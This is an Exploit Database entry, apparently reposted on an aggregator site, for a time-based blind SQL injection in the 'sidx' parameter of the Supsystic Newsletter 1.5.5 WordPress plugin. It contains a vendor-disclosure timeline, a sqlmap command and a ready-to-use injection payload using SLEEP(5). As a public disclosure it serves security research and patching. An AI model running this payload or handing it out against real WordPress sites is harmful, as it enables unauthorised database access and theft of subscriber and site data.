WordPress Plugin Supsystic Newsletter 1.5.5 – ‘sidx’ SQL injection

• Exploit Database
• 19 阅读

• 作者： Erik David Martin
  日期： 2021-02-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49539/

• # Exploit Title: WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection
  # Date: 24/07 2020
  # Exploit Author: Erik David Martin
  # Vendor Homepage: https://supsystic.com/
  # Software Link: https://downloads.wordpress.org/plugin/newsletter-by-supsystic.1.5.5.zip
  # Category: Web Application
  # Version: 1.5.5
  # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2
  
  
  # 25/07 2020: Vendor notified
  # 27/07 2020: Vendor requested detailed information
  # 27/07 2020: Information provided
  # 07/08 2020: Nudged vendor. No reply
  # 22/08 2020: Nudged vendor. No reply
  # 04/10 2020: Nudged vendor. No reply
  # 29/11 2020: WordPress Plugin Security team contacted
  # 01/12 2020: Plugin/Project closed by WordPress Security team
  
  
  # 1. Description
  
  The GET parameter "sidx" does not sanitize user input when searching for existing subscribers.
  
  
  # 2. Proof of Concept (PoC)
  
  Use ZAP/Burp to capture the web request when searching for existing subscribers and save it to request.txt.
  Referer: http://192.168.0.49/wp-admin/admin.php?page=newsletters-supsystic&tab=subscribers
  
  sqlmap -r request.txt --dbms=mysql -p sidx
  
  Parameter: sidx (GET)
  	Type: time-based blind
  	Payload: mod=subscribers&action=getListForTbl&pl=nbs&reqType=ajax&search[text_like]=testing&search[search_list]=0&_search=false&nd=1595780014444&rows=25&page=0&sidx=id AND (SELECT 1511 FROM (SELECT(SLEEP(5)))gTHi)&sord=desc